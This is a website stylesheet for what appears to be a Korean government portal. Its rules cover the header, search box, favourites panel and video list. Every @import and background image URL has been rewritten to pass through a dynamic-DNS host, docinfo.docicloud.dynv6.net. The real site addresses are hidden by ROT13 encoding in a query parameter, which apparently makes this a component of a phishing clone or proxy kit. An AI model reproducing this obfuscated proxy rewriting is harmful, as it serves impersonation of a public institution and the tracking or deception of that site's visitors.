@charset "utf-8";
@import url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.tjtf.tb.xe%2Spff%2Sxbe%2StaoGlcr.pff);
@import url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.tjtf.tb.xe%2Spff%2Sxbe%2Sgzcy.pff);
@import url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.tjtf.tb.xe%2Spff%2Sxbe%2Ssbbgre.pff);

.c_ir{display:inline-block;background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.tjtf.tb.xe%2Svzntrf%2Sxbe%2Spbzzba%2Spbzzba_ve.cat) no-repeat;font-size:0;text-indent:-9999px;}
.m_ir{display:inline-block;background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.tjtf.tb.xe%2Svzntrf%2Sxbe%2Sznva%2Sznva_ve.cat) no-repeat;font-size:0;text-indent:-9999px;}
#top_layout{height:152px;padding:55px 0 0;text-align:center;}

#top_utilwrap{position:absolute;top:-495px;left:0;right:0;width:100%;background:#f2f3f5;text-align:center;transition:all .3s;z-index:9999;}
#top_utilwrap.open{top:0;}
#top_utilwrap:before{display:block;position:absolute;bottom:0;left:0;width:100%;height:55px;border-top:4px solid #00a0e9;background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.tjtf.tb.xe%2Svzntrf%2Sxbe%2Spbzzba%2Sgbc_hgvy_ot.wct) 50% 0;content:'';}
#top_utilwrap:after{display:block;clear:both;visibility:hidden;content:'';}

#top_utilwrap .bg1{position:absolute;top:0;left:0;width:319px;height:319px;background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.tjtf.tb.xe%2Svzntrf%2Sxbe%2Spbzzba%2Ssnibengr_ot1.cat) no-repeat;}
#top_utilwrap .bg2{position:absolute;bottom:55px;right:0;width:400px;height:400px;background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.tjtf.tb.xe%2Svzntrf%2Sxbe%2Spbzzba%2Ssnibengr_ot2.cat) no-repeat;z-index:-1;}

#top_utilwrap .layout{display:inline-block;width:100%;max-width:1240px;height:550px;padding:495px 0 0;vertical-align:bottom;}
#top_utilwrap .top_util_left{float:left;height:100%;}
#top_utilwrap .top_util_left .major_site{height:100%;border-right:1px solid rgba(255,255,255,0.2);}
#top_utilwrap .top_util_left .major_site:after{display:block;clear:both;visibility:hidden;content:'';}
#top_utilwrap .top_util_left .major_site li{display:inline-block;float:left;height:100%;border-left:1px solid rgba(255,255,255,0.2);}
#top_utilwrap .top_util_left .major_site .taegeukgi{background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.tjtf.tb.xe%2Svzntrf%2Spbzzba%2Sgnrtrhxtv.cat) no-repeat center;width: 140px;}
#top_utilwrap .top_util_left .major_site .taegeukgi a span{font-size:0}
#top_utilwrap .top_util_left .major_site li a{display:block;height:100%;padding:0 15px;}
#top_utilwrap .top_util_left .major_site li a:after{display:inline-block;height:100%;vertical-align:middle;content:'';}
#top_utilwrap .top_util_left .major_site li a span{display:inline-block;color:#fff;font-size:15px;vertical-align:middle;}
#top_utilwrap .top_util_left .major_site li a:hover span,
#top_utilwrap .top_util_left .major_site li a:focus span{text-decoration:underline;}

#top_utilwrap .top_util_right{float:right;height:100%;}
#top_utilwrap .top_util_right:after{display:block;clear:both;visibility:hidden;content:'';}
#top_utilwrap .top_util_right .foreign_site{float:left;height:100%;}
#top_utilwrap .top_util_right .foreign_site > li{display:inline-block;position:relative;height:100%;}
#top_utilwrap .top_util_right .foreign_site > li > a{display:block;position:relative;height:100%;padding:0 32px 0 40px;}
#top_utilwrap .top_util_right .foreign_site > li > a:after{display:inline-block;height:100%;vertical-align:middle;content:'';}
#top_utilwrap .top_util_right .foreign_site > li > a i{position:absolute;top:18px;left:0;width:31px;height:18px;background-position:-167px -101px;}
#top_utilwrap .top_util_right .foreign_site > li > a span{display:inline-block;position:relative;color:#fff;vertical-align:middle;}
#top_utilwrap .top_util_right .foreign_site > li > a:hover span,
#top_utilwrap .top_util_right .foreign_site > li > a:focus span{text-decoration:underline;}
#top_utilwrap .top_util_right .foreign_site > li > a span:before{display:block;position:absolute;top:11px;right:-20px;border:4px solid transparent;border-top-color:#fff;content:'';}

#top_utilwrap .top_util_right .foreign_site > li > button{display:block;position:relative;height:100%;padding:0 32px 0 40px;}
#top_utilwrap .top_util_right .foreign_site > li > button:after{display:inline-block;height:100%;vertical-align:middle;content:'';}
#top_utilwrap .top_util_right .foreign_site > li > button i{position:absolute;top:18px;left:0;width:31px;height:18px;background-position:-167px -101px;}
#top_utilwrap .top_util_right .foreign_site > li > button span{display:inline-block;position:relative;color:#fff;vertical-align:middle;}
#top_utilwrap .top_util_right .foreign_site > li > button:focus span{text-decoration:underline;}
#top_utilwrap .top_util_right .foreign_site > li > button span:before{display:block;position:absolute;top:11px;right:-20px;border:4px solid transparent;border-top-color:#fff;content:'';}

#top_utilwrap .top_util_right .foreign_site > .login > a{color: #fff;}
#top_utilwrap .top_util_right .foreign_site > .login > a:hover,
#top_utilwrap .top_util_right .foreign_site > .login > a:focus{text-decoration: underline;}

#top_utilwrap .top_util_right .foreign_site > li ul{display:none;position:absolute;top:0;left:0;width:100%;height:auto;padding:55px 0 0;z-index:1;}
#top_utilwrap .top_util_right .foreign_site > li.on ul{display:block;}
#top_utilwrap .top_util_right .foreign_site > li ul li{float:none;margin:0;}
#top_utilwrap .top_util_right .foreign_site > li ul a {display:block;padding:10px 0 8px;border-top:1px dashed #ddd;background:#1a3c6c;font-size:14px;line-height:1;}
#top_utilwrap .top_util_right .foreign_site > li ul a:hover,
#top_utilwrap .top_util_right .foreign_site > li ul a:focus{background:#00a0e9;}
#top_utilwrap .top_util_right .foreign_site > li ul:first-child a{border-top-width:0;}
#top_utilwrap .top_util_right .foreign_site > li ul li a:after{display:inline-block;height:100%;vertical-align:middle;content:'';}
#top_utilwrap .top_util_right .foreign_site > li ul li a span{display:inline-block;position:relative;color:#fff;vertical-align:middle;}
#top_utilwrap .top_util_right .foreign_site > li ul li a:hover span,
#top_utilwrap .top_util_right .foreign_site > li ul li a:focus span{text-decoration:underline;}


#top_utilwrap .top_util_right .favorite_site_open{display:block;float:left;position:relative;width:320px;height:100%;padding:0 55px 0 0;}
#top_utilwrap .top_util_right .favorite_site_open:after{display:inline-block;height:100%;vertical-align:middle;content:'';}
#top_utilwrap .top_util_right .favorite_site_open span{display:inline-block;color:#fff;font-family:nmj,sefif;font-size:18px;vertical-align:middle;}
#top_utilwrap .top_util_right .favorite_site_open:hover span,
#top_utilwrap .top_util_right .favorite_site_open:focus span{font-weight:bold;}
#top_utilwrap .top_util_right .favorite_site_open span em{color:#60cdff;font-family:nmj,sefif;}
#top_utilwrap .top_util_right .favorite_site_open:hover span em,
#top_utilwrap .top_util_right .favorite_site_open:focus span em{font-weight:bold;}
#top_utilwrap .top_util_right .favorite_site_open b{position:absolute;top:0;right:8px;width:47px;height:42px;border-radius:0 0 50px 50px;background:#00a0e9;}
#top_utilwrap .top_util_right .favorite_site_open b:after{display:inline-block;height:100%;vertical-align:middle;content:'';}
#top_utilwrap .top_util_right .favorite_site_open b i{width:14px;height:9px;background-position:-218px -101px;vertical-align:middle;}

#top_utilwrap .top_util_right .favorite_site_cnt{display:none;position:absolute;top:0;left:0;width:100%;height:420px;padding:0 0 0 240px;}
#top_utilwrap.open .top_util_right .favorite_site_cnt{display:block;}
#top_utilwrap .top_util_right .favorite_site_cnt:before{position:absolute;bottom:4px;left:-40px;width:299px;height:294px;background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.tjtf.tb.xe%2Svzntrf%2Sxbe%2Spbzzba%2Ssnibengr_bow1.cat) no-repeat;content:'';}
#top_utilwrap .top_util_right .favorite_site_cnt > strong{display:inline-block;position:absolute;top:50px;left:15px;padding:20px 0 0;font-weight:bold;z-index:1;}
#top_utilwrap .top_util_right .favorite_site_cnt strong:before{display:inline-block;position:absolute;top:0;left:0;width:52px;height:4px;background:#041527;content:'';}
#top_utilwrap .top_util_right .favorite_site_cnt strong span{display:block;color:#000;font-size:36px;font-family:nmj,sefif;line-height:1.3;}
#top_utilwrap .top_util_right .favorite_site_cnt strong span:nth-child(2){display:block;color:#2a377b;}
#top_utilwrap .top_util_right .favorite_site_cnt .grap{position:relative;text-align:center;}
#top_utilwrap .top_util_right .favorite_site_cnt .grap .tabBtn_wrap{margin:80px 0 60px;text-align:center;}
#top_utilwrap .top_util_right .favorite_site_cnt .grap .tabBtn_wrap li{display:inline-block;margin-left:20px;}
#top_utilwrap .top_util_right .favorite_site_cnt .grap .tabBtn_wrap li:first-child{margin-left:0;}
#top_utilwrap .top_util_right .favorite_site_cnt .grap .tabBtn_wrap li a{display:inline-block;position:relative;margin:0 0 15px;padding:18px 0 0 108px;}
#top_utilwrap .top_util_right .favorite_site_cnt .grap .tabBtn_wrap li a.on:before,
#top_utilwrap .top_util_right .favorite_site_cnt .grap .tabBtn_wrap li a:hover:before,
#top_utilwrap .top_util_right .favorite_site_cnt .grap .tabBtn_wrap li a:focus:before{display:block;position:absolute;bottom:-45px;left:31px;width:27px;height:17px;background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.tjtf.tb.xe%2Svzntrf%2Sxbe%2Spbzzba%2Spbzzba_ve.cat) no-repeat -167px -122px;content:'';}
#top_utilwrap .top_util_right .favorite_site_cnt .grap .tabBtn_wrap li a i{width:89px;height:89px;position:absolute;top:0;left:0;}
#top_utilwrap .top_util_right .favorite_site_cnt .grap .tabBtn_wrap li:nth-child(1) a i{background-position:-514px -1px;}
#top_utilwrap .top_util_right .favorite_site_cnt .grap .tabBtn_wrap li:nth-child(2) a i{background-position:-606px -1px;}
#top_utilwrap .top_util_right .favorite_site_cnt .grap .tabBtn_wrap li:nth-child(3) a i{background-position:-698px -1px;}
#top_utilwrap .top_util_right .favorite_site_cnt .grap .tabBtn_wrap li:nth-child(4) a i{background-position:-790px -1px;}
#top_utilwrap .top_util_right .favorite_site_cnt .grap .tabBtn_wrap li:nth-child(1) a.on i,
#top_utilwrap .top_util_right .favorite_site_cnt .grap .tabBtn_wrap li:nth-child(1) a:hover i,
#top_utilwrap .top_util_right .favorite_site_cnt .grap .tabBtn_wrap li:nth-child(1) a:focus i{background-position:-514px -93px;}
#top_utilwrap .top_util_right .favorite_site_cnt .grap .tabBtn_wrap li:nth-child(2) a.on i,
#top_utilwrap .top_util_right .favorite_site_cnt .grap .tabBtn_wrap li:nth-child(2) a:hover i,
#top_utilwrap .top_util_right .favorite_site_cnt .grap .tabBtn_wrap li:nth-child(2) a:focus i{background-position:-606px -93px;}
#top_utilwrap .top_util_right .favorite_site_cnt .grap .tabBtn_wrap li:nth-child(3) a.on i,
#top_utilwrap .top_util_right .favorite_site_cnt .grap .tabBtn_wrap li:nth-child(3) a:hover i,
#top_utilwrap .top_util_right .favorite_site_cnt .grap .tabBtn_wrap li:nth-child(3) a:focus i{background-position:-698px -93px;}
#top_utilwrap .top_util_right .favorite_site_cnt .grap .tabBtn_wrap li:nth-child(4) a.on i,
#top_utilwrap .top_util_right .favorite_site_cnt .grap .tabBtn_wrap li:nth-child(4) a:hover i,
#top_utilwrap .top_util_right .favorite_site_cnt .grap .tabBtn_wrap li:nth-child(4) a:focus i{background-position:-790px -93px;}
#top_utilwrap .top_util_right .favorite_site_cnt .grap .tabBtn_wrap li a > span{display:inline-block;}
#top_utilwrap .top_util_right .favorite_site_cnt .grap .tabBtn_wrap li a > span span{display:block;color:#112e89;font-size:20px;font-family:nmj,sefif;line-height:1.3;text-align:center;}

/*#top_utilwrap .top_util_right .favorite_site_cnt .grap .favobody > strong{top:-99999px;font-size:0;text-indent:-9999px}*/

#top_utilwrap .top_util_right .favorite_site_cnt .grap .tabCnt_wrap{display:inline-block;width:100%;max-width:935px;margin:0 0 0 -85px;}
#top_utilwrap .top_util_right .favorite_site_cnt .grap .tabCnt_wrap:after{display:block;clear:both;visibility:hidden;content:'';}
#top_utilwrap .top_util_right .favorite_site_cnt .grap .tabCnt_wrap li{float:left;width:20%;padding:5px;}
#top_utilwrap .top_util_right .favorite_site_cnt .grap .tabCnt_wrap li a{display:block;height:50px;padding:0 0 0 15px;border:1px solid #ccd4dc;background:#fff;text-align:left;}
#top_utilwrap .top_util_right .favorite_site_cnt .grap .tabCnt_wrap li a:after{display:inline-block;height:100%;vertical-align:middle;content:'';}
#top_utilwrap .top_util_right .favorite_site_cnt .grap .tabCnt_wrap li a span{display:inline-block;color:#051b33;font-size:15px;vertical-align:middle;}
#top_utilwrap .top_util_right .favorite_site_cnt .grap .tabCnt_wrap li a:hover span,
#top_utilwrap .top_util_right .favorite_site_cnt .grap .tabCnt_wrap li a:focus span{text-decoration:underline;}

#top_utilwrap .top_util_right .favorite_site_cnt .favorite_site_close{display:block;position:absolute;bottom:0;margin-bottom: -6%; right:8px;width:47px;height:59px;border-radius:50px 50px 0 0;background:#000;font-size:0;text-indent:-9999px;}
#top_utilwrap .top_util_right .favorite_site_cnt .favorite_site_close i{position:absolute;top:23px;left:50%;width:12px;height:11px;margin:0 0 0 -6px;background-position:-202px -102px;}

#top_layout .top_wrap{position: absolute;top: 55px;left: 0;right: 0;width:100%;height: 97px;max-width: 1240px}
#top_layout .top_wrap #logo{ width:163px; height:72px; display:inline-block; float:left; position:relative; z-index:999;}
#top_layout .top_wrap #logo .ir-tmpl{ width:100%; height:100%; background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.tjtf.tb.xe%2Svzntrf%2Sxbe%2Spbzzba%2Spbzzba_ve.cat) no-repeat -1px -67px; font-size:0; text-indent:-9999px; display:inline-block;vertical-align:middle;}

#top_layout .top_wrap .utile_wrap{top:0;right:0;display:block;float:none;z-index:9998;height: 100%;border:solid #ececec;border-width:0 1px 0 1px}
#top_layout .top_wrap .utile_wrap li{ display:inline-block;float:left;position:relative;height:100%;}
#top_layout .top_wrap .utile_wrap li:after{display:inline-block;height:100%;vertical-align:middle;content:'';}
#top_layout .top_wrap .utile_wrap li a{display:inline-block;position: relative;padding:0 6px 0 5px;color:#000;font-weight: 700;font-size:14px;vertical-align:middle;}
#top_layout .top_wrap .utile_wrap li.search{width:97px;border-right: 1px solid #ececec;}
#top_layout .top_wrap .utile_wrap li.search a{display:block;width:100%;height:100%;padding:0;}
#top_layout .top_wrap .utile_wrap li.search a:focus {outline: 1px dotted #1c4175;}
#top_layout .top_wrap .utile_wrap li.search a span{display:inline-block;vertical-align:middle;}
#top_layout .top_wrap .utile_wrap li.search a span:after{display:inline-block;width: 22px;height: 23px;margin:-7px 0 0 7px;background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.tjtf.tb.xe%2Svzntrf%2Sxbe%2Spbzzba%2Spbzzba_ve.cat) -193px -67px;vertical-align: middle;content: '';}

#top_layout .top_wrap .utile_wrap li.search a.open{font-size: 17px;}
#top_layout .top_wrap .utile_wrap li.search.on a.open{display:none;}
#top_layout .top_wrap .utile_wrap li.search a.open:after{display:inline-block;height:100%;vertical-align:middle;content:'';}

#top_layout .top_wrap .utile_wrap li.search a.close{display:none;position:relative;font-size:0;text-indent:-9999px;background:#00a0e9 ;opacity:1;}
#top_layout .top_wrap .utile_wrap li.search.on a.close{display:block;}
#top_layout .top_wrap .utile_wrap li.search a.close span{display:block;position:absolute;top:50%;left:50%;width:54px;height:54px;margin:-27px 0 0 -27px;background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.tjtf.tb.xe%2Svzntrf%2Sxbe%2Spbzzba%2Spbzzba_ve.cat) no-repeat -882px -1px;}

#top_layout .top_wrap .utile_wrap li.search #search_box{display:none;position:absolute;bottom:-120px;right:0;width:470px;height:120px;padding:35px 85px 30px 25px;border:6px solid #00a0e9;background:#fff;text-align:left;}
#top_layout .top_wrap .utile_wrap li.search.on #search_box{display:block;}
#top_layout .top_wrap .utile_wrap li.search #search_box:after{display:block;clear:both;visibility:hidden;content:'';}
#top_layout .top_wrap .utile_wrap li.search #search_box .select_wrap{float:left;position:absolute;top:35px;left:27px;width:105px;height:45px;border:1px solid #cbcbcb;}
#top_layout .top_wrap .utile_wrap li.search #search_box .select_wrap select{display:block;width:100%;height:100%;color:#252525;font-size:16px;}
#top_layout .top_wrap .utile_wrap li.search #search_box .input_wrap{float:left;width:100%;}
#top_layout .top_wrap .utile_wrap li.search #search_box .input_wrap input[type="text"]{display:block;width:100%;height:45px;padding:0 0 0 15px;border:solid #cbcbcb;border-width:1px 0 1px 1px;}
#top_layout .top_wrap .utile_wrap li.search #search_box .input_wrap .submit{position:absolute;top:35px;right:17px;width:68px;height:45px;background:#606674;}
#top_layout .top_wrap .utile_wrap li.search #search_box .input_wrap .submit:before{display:block;position:absolute;top:16px;left:8px;width:15px;height:15px;background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.tjtf.tb.xe%2Svzntrf%2Sxbe%2Spbzzba%2Spbzzba_ve.cat) -939px -1px;content:'';}
#top_layout .top_wrap .utile_wrap li.search #search_box .input_wrap .submit input[type="submit"],
#top_layout .top_wrap .utile_wrap li.search #search_box .input_wrap .submit input[type="button"]{display:block;position:absolute;top:0;left:0;width:100%;height:100%;padding:0 0 0 15px;background:transparent;color:#fff;}

#top_layout .top_wrap .utile_wrap li.box{top: 50%;width:23px;min-width:0;height:15px;margin: -7.5px 22px 0;}
#top_layout .top_wrap .utile_wrap li.box.mo{display: none;}
#top_layout .top_wrap .utile_wrap li.box:before{display: none;}
#top_layout .top_wrap .utile_wrap li.box a{width:100%; height:100%;background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.tjtf.tb.xe%2Svzntrf%2Sxbe%2Spbzzba%2Spbzzba_ve.cat) no-repeat -167px -67px; font-size:0; text-indent:-9999px;vertical-align:top;}
#top_layout .top_wrap .utile_wrap li.box a:focus {outline: 1px dotted #555;}


#gnb_layout .line{background:#dadad7;}
#gnb_layout.open .line{background:#3f61b2;}

/* 개인정보처리방침 업데이트될때 추가해줘야함 */
.sitemap_0402 .title_wrap .page__title,
.sitemap_0403 .title_wrap .page__title,
.sitemap_0404 .title_wrap .page__title,
.sitemap_0405 .title_wrap .page__title,
.sitemap_0406 .title_wrap .page__title,
.sitemap_0407 .title_wrap .page__title,
.sitemap_0408 .title_wrap .page__title,
.sitemap_0409 .title_wrap .page__title {width: 300px;line-height: 1.2;font-size: 23px;word-break: keep-all;}

.sitemap_0501 .title_wrap .page__title,
.sitemap_0502 .title_wrap .page__title{padding-bottom: 60px}

#move_top{display:block;position:absolute;top:-30px;right:0;width:60px;height:60px;background:#464646;border:3px solid #464646;transition: 0.3s;}
#move_top:hover,
#move_top:focus{border-color:#00a0e9;}
#move_top i{position:absolute;top:50%;left:50%;width:23px;height:12px;margin:-6px 0 0 -12px;background-position:-4533px -23px;text-indent: -9999px;font-size:0;}


@media (max-width:1299px){
	.sitemap_0402 .title_wrap .page__title,
	.sitemap_0403 .title_wrap .page__title,
	.sitemap_0404 .title_wrap .page__title,
	.sitemap_0405 .title_wrap .page__title,
	.sitemap_0406 .title_wrap .page__title,
	.sitemap_0407 .title_wrap .page__title{padding-bottom: 50px;}
	.sitemap_0402 .location_wrap li a,
	.sitemap_0403 .location_wrap li a,
	.sitemap_0404 .location_wrap li a,
	.sitemap_0405 .location_wrap li a,
	.sitemap_0406 .location_wrap li a,
	.sitemap_0407 .location_wrap li a{letter-spacing: -0.1em;}
}
@media (max-width:1279px){
    #top_utilwrap .top_util_right .favorite_site_cnt{padding:0 0 0 180px;}
    #top_utilwrap .top_util_right .favorite_site_cnt > strong{top:75px;}
    #top_utilwrap .top_util_right .favorite_site_cnt strong span{font-size:26px;}
    #top_utilwrap .top_util_right .favorite_site_cnt .grap .tabBtn_wrap li a{padding:18px 0 0 100px;}
    #top_utilwrap .top_util_right .favorite_site_cnt .grap .tabBtn_wrap li a.on:before,
    #top_utilwrap .top_util_right .favorite_site_cnt .grap .tabBtn_wrap li a:hover:before,
    #top_utilwrap .top_util_right .favorite_site_cnt .grap .tabBtn_wrap li a:focus:before{bottom:-60px;}
    #top_utilwrap .top_util_right .favorite_site_cnt .grap .tabBtn_wrap li a > span span{font-size:16px;}
}


@media (max-width:1023px){
    /*#top_utilwrap{display:none;}*/
    #top_utilwrap{top:-550px;}
    .modal-open #top_utilwrap{display: none;}
    #top_utilwrap .layout{height:605px;padding:552px 0 0;}

    #top_utilwrap .top_util_left{display:none;}
    #top_utilwrap .top_util_right .foreign_site{display:none;}
    #top_utilwrap .top_util_right .favorite_site_open span{font-size:16px;}
    #top_utilwrap .top_util_right .favorite_site_cnt{height:550px;padding:70px 20px 80px;}
    #top_utilwrap .top_util_right .favorite_site_cnt > strong{display:block;top:30px;left:20px;}
    #top_utilwrap .top_util_right .favorite_site_cnt strong span{display:inline-block;}
    #top_utilwrap .top_util_right .favorite_site_cnt strong span:nth-child(2){display:inline-block;margin:0 0 0 10px;}
    #top_utilwrap .top_util_right .favorite_site_cnt .grap .tabBtn_wrap{margin:0 0 60px;}
    #top_utilwrap .top_util_right .favorite_site_cnt .grap .tabBtn_wrap li{width:30%;margin:40px 0 0;text-align:left;}
    #top_utilwrap .top_util_right .favorite_site_cnt .grap .tabBtn_wrap li a > span span{text-align:left;}
    #top_utilwrap .top_util_right .favorite_site_cnt .grap .tabCnt_wrap{max-width:none;width:100%;margin:0;}
    #top_utilwrap .top_util_right .favorite_site_cnt .grap .tabCnt_wrap li{width:25%;}

    #top_layout{height:125px;}
    #top_layout .top_wrap{width:100%;height:69px;}
    #top_layout .top_wrap .utile_wrap li.search a{font-size:0;}
    #top_layout .top_wrap .utile_wrap li.search a:after{margin:0;}
    #top_layout .top_wrap #logo{top:10px;left:20px;width:121px;height:47px;}
    #top_layout .top_wrap #logo .ir-tmpl{background-position:-235px -88px;}

    #top_layout .top_wrap .utile_wrap li.box.pc{display: none;}
    #top_layout .top_wrap .utile_wrap li.box.mo{display: block;}
    #top_layout .top_wrap .utile_wrap li.box.mo button{width:100%; height:100%; font-size:0; text-indent:-9999px; padding:0; display:inline-block;vertical-align:top;}
    #top_layout .top_wrap .utile_wrap li.box.mo button .ir{width:23px;height:15px;background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.tjtf.tb.xe%2Svzntrf%2Sxbe%2Spbzzba%2Spbzzba_ve.cat) no-repeat -167px -67px;}

	.sitemap_0402 .title_wrap .page__title,
	.sitemap_0403 .title_wrap .page__title,
	.sitemap_0404 .title_wrap .page__title,
	.sitemap_0405 .title_wrap .page__title,
    .sitemap_0406 .title_wrap .page__title,
	.sitemap_0407 .title_wrap .page__title,
    .sitemap_0501 .title_wrap .page__title,
    .sitemap_0502 .title_wrap .page__title{width: auto;padding-bottom: 0}
}

@media (max-width:767px){
    #top_layout.active_favor_cnt1 #top_utilwrap{top:-1020px;}
    #top_layout.active_favor_cnt2 #top_utilwrap{top:-785px;}
    #top_layout.active_favor_cnt3 #top_utilwrap{top:-1131px;}
    #top_layout.active_favor_cnt1 #top_utilwrap.open,
    #top_layout.active_favor_cnt2 #top_utilwrap.open,
    #top_layout.active_favor_cnt3 #top_utilwrap.open{top:0;}
    #top_layout.active_favor_cnt1 #top_utilwrap .layout{height: 1079px;padding: 1024px 0 0;}
    #top_layout.active_favor_cnt2 #top_utilwrap .layout{height: 844px;padding: 784px 0 0;}
    #top_layout.active_favor_cnt3 #top_utilwrap .layout{height:1182px;padding:1135px 0 0;}
    #top_utilwrap .top_util_right .favorite_site_cnt{padding:100px 20px 80px;}
    #top_layout.active_favor_cnt1 #top_utilwrap .favorite_site_cnt{height: 1020px;}
    #top_layout.active_favor_cnt2 #top_utilwrap .favorite_site_cnt{height:785px;}
    #top_layout.active_favor_cnt3 #top_utilwrap .favorite_site_cnt{height:1131px}

    #top_layout .top_wrap .utile_wrap li.search.on #search_box{bottom:-170px;right:-69px;width:320px;height:170px;padding:85px 85px 30px 27px;}
    #top_layout .top_wrap .utile_wrap li.search #search_box .select_wrap{top:35px;width:265px;}
    #top_layout .top_wrap .utile_wrap li.search #search_box .input_wrap .submit{top:85px;}

    #top_utilwrap .top_util_right .favorite_site_cnt:before{display:none;}
    #top_utilwrap .top_util_right .favorite_site_cnt > strong{text-align:left;}
    #top_utilwrap .top_util_right .favorite_site_cnt strong span{font-size:20px;}
    #top_utilwrap .top_util_right .favorite_site_cnt strong span:nth-child(2){margin:0 0 0 5px;}
    #top_utilwrap .top_util_right .favorite_site_cnt .grap .tabBtn_wrap{margin:0;}
    #top_utilwrap .top_util_right .favorite_site_cnt .grap .tabBtn_wrap li{width:100%;padding:5px;margin:0;}
    #top_utilwrap .top_util_right .favorite_site_cnt .grap .tabBtn_wrap li a{width:100%;height:50px;margin:0;padding:0 0 0 15px;border:1px solid #ccd4dc;}
    #top_utilwrap .top_util_right .favorite_site_cnt .grap .tabBtn_wrap li a.on{background:#112e89;}
    #top_utilwrap .top_util_right .favorite_site_cnt .grap .tabBtn_wrap li a:after{display:inline-block;height:100%;vertical-align:middle;content:'';}
    #top_utilwrap .top_util_right .favorite_site_cnt .grap .tabBtn_wrap li a.on:before,
    #top_utilwrap .top_util_right .favorite_site_cnt .grap .tabBtn_wrap li a:hover:before,
    #top_utilwrap .top_util_right .favorite_site_cnt .grap .tabBtn_wrap li a:focus:before{display:none;}
    #top_utilwrap .top_util_right .favorite_site_cnt .grap .tabBtn_wrap li a i{display:none;}
    #top_utilwrap .top_util_right .favorite_site_cnt .grap .tabBtn_wrap li a > span span{display:inline;}
    #top_utilwrap .top_util_right .favorite_site_cnt .grap .tabBtn_wrap li a.on > span span{color:#fff;}
    #top_utilwrap .top_util_right .favorite_site_cnt .grap .tabCnt_wrap{margin:0;}
    #top_utilwrap .top_util_right .favorite_site_cnt .grap .tabCnt_wrap li{width:100%;}

}




.youtube_list{overflow:hidden;position:relative}
.youtube_list li{margin-bottom:10px}
.youtube_list li:first-child{margin-top:0;border-top:0}
.youtube_list li a{display:block;position:relative;padding:15px;padding-right:100px;min-height:187px;border:1px solid #d7d7d7;background-color:#fff}
.youtube_list li a:hover,
.youtube_list li a:focus,
.youtube_list li a:active{border-color:#cf3028}
.youtube_list li a .img{position:absolute;right:15px;top:30px;width:70px}
.youtube_list li a .img img{width:100%;height:100%}
.youtube_list li a .movie_txt{display:block;padding:15px 0;font-size:14px;line-height:20px}
.youtube_list li a .movie_txt b{display:block;position:relative;margin-bottom:10px;padding-bottom:10px;color:#151515;font-size:18px;font-family:'nsr';font-weight:bold;line-height:26px;word-wrap:break-word;word-break:keep-all;overflow: hidden;text-overflow: ellipsis;white-space: nowrap}
.youtube_list li a .movie_txt b:after{content:"";display:block;position:absolute;bottom:0;left:0;width:25px;height:1px;background-color:#d7d7d7}
.youtube_list li a .movie_txt .text{display:block;overflow:hidden;padding:5px 0;color:#767676;font-size:14px;line-height:20px;height:50px}
.youtube_list li a .movie_txt .date{color:#bbb;font-size:12px;line-height:1}
.youtube_list li a .movie_txt .count{display:inline-block;margin-left:10px;color:#bbb;font-size:12px;line-height:1}

@media all and (min-width:768px) {
	.youtube_list li a{padding-right:160px;min-height:212px}
	.youtube_list li a .img{width:120px;height:90px}
	.youtube_list li a .movie_txt .text{height:63px}
	.youtube_list{margin-left:-1%;border:none}
	.youtube_list li{float:left;margin:0 0 1% 1%;width:49%}
	.youtube_list li:before{}
}


@media all and (min-width:1200px) {
	.youtube_list li{width:32.33%}
}


/* 영역범위 벗어나서 잡히는 오류 수정 */
#top_layout .top_wrap .utile_wrap li:after {display: none;}